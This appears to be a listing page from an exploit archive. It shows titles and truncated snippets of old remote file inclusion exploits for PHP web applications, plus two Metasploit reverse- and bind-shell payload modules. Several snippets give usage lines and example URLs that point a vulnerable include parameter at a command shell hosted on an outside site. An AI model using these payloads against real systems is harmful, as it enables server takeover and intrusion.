PHP News Reader <= 2.6.4 (phpbb.inc.php) Remote File Include Exploit

Exploit for unknown platform in category web applications ==================================================================== PHP News Reader = 2.6.4 phpbb.inc.php Remote File Include Exploit ==================================================================== !/usr/bin/perl PHP News Reader Clas...

docmint 2.0 - &#039;/engine/require.php&#039; Remote File Inclusion

!/usr/bin/perl docmint perl docmint.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|staff y3dips,theday,moby,comex,z3r0byt3,c-a-s-e,Sto,lirva32,negative, SinChan, sakitjiwa, maSter-oP, mrny3m, bithedz, lieur-eu...

Buzlas 2006-1 Full - &#039;Archive_Topic.php&#039; Remote File Inclusion

source: https://www.securityfocus.com/bid/20511/info Buzlas is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also...

Buzlas 2006-1 Full - Archive_Topic.php Remote File Inclusion

Buzlas 2006-1 Full - ArchiveTopic.php Remote File Inclusion source: https://www.securityfocus.com/bid/20511/info Buzlas is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the...

BBSNew 2.0.1 - &#039;index2.php&#039; Remote File Inclusion

source: https://www.securityfocus.com/bid/20204/info bbsNew is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with th...

Generic Command Shell, Reverse TCP Inline

Connect back to attacker and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 0 include Msf::Payload::Single include Msf::Payload::Generic def initializeinfo =...

Generic Command Shell, Bind TCP Inline

Listen for a connection and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 0 include Msf::Payload::Single include Msf::Payload::Generic def initializeinfo =...

WEBInsta CMS 0.3.1 - templates_dir Remote File Inclusion

WEBInsta CMS 0.3.1 - templatesdir Remote File Inclusion !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell...

flipper.txt

Flipper Poll rootpath Remote File Inclusion Credit : SpC-x Mail : [email protected] Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/poll.php?rootpath=Command-Shell poll.PHP : includeonce$rootpath...

fusionpolls.txt

Fusion Polls xtrphome Remote File Inclusion Credit : SpC-x Mail : [email protected] Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/admin/index.php?xtrphome=Command-Shell /SpC-x...

Shoutpro 1.0 Version - Remote File Include Vulnerability

SaVSaK.CoM | SpC-x - TheBeKiR | Shoutpro 1.0 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : Shoutpro Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : include"config.php"; include"functions.php"; if $path $ips = file"$path/lists/bannedips.php"...

S H O U T B O X &#40;v1.5&#41; Version - Remote File Include Vulnerability

SaVSaK.CoM | SpC-x - TheBeKiR | S H O U T B O X v1.5 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : S H O U T B O X Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : $thisdir = strreplace'', '/', dirnameFILE; include"$thisdir/config.inc.php";...

G Shout 1.3.1 Version - Remote File Include Vulnerability

SaVSaK.CoM | SpC-x - TheBeKiR | G Shout 1.3.1 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : G Shout Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : include"config.php"; include"./includes/functions.inc.php"; include...

Simpnews &lt;= All version - Remote File Include Vulnerabilities

SaVSaK.CoM | SpC-x - The-BeKiR | Simpnews = All version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : Simpnews Credits : SpC-x - The-BeKiR Thanks : Ejder - FasTBoY - ERNE - RMx Code : requireonce$pathsimpnews.'/langchk.php'; includeonce'./language/lang'.$actlang.'.php';...

gshout.txt

SaVSaK.CoM | SpC-x - TheBeKiR | G Shout 1.3.1 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : G Shout Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : include"config.php"; include"./includes/functions.inc.php"; include...

shoutpro10.txt

SaVSaK.CoM | SpC-x - TheBeKiR | Shoutpro 1.0 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : Shoutpro Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : include"config.php"; include"functions.php"; if $path $ips = file"$path/lists/bannedips.php"...

MDNews.txt

SaVSaK.CoM | SpC-x - The-BeKiR | MD News 1 Version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : MD News Credits : SpC-x Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx Code : $configfile = "config.php"; require $configfile; Vulnerable : http://www.victim.com/MD...

SAXON.txt

SaVSaK.CoM | SpC-x - The-BeKiR | SAXON 4.6 Version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : SAXON Credits : SpC-x Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx - Nukedx - Str0ke Code : include"functions.php"; include "config.php"; include $template; Vulnerable ...

Flipper Poll &#40;root_path&#41; Remote File Inclusion

Flipper Poll rootpath Remote File Inclusion Credit : SpC-x Mail : [email protected] Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/poll.php?rootpath=Command-Shell poll.PHP : includeonce$rootpath...

CzarNews.txt

SaVSaK.CoM | SpC-x - The-BeKiR | CzarNews v1.14 Version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : CzarNews Credits : SpC-x Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx - Nukedx - Str0ke Code : iffileexists$tpath . "cnconfig.php" requireonce$tpath...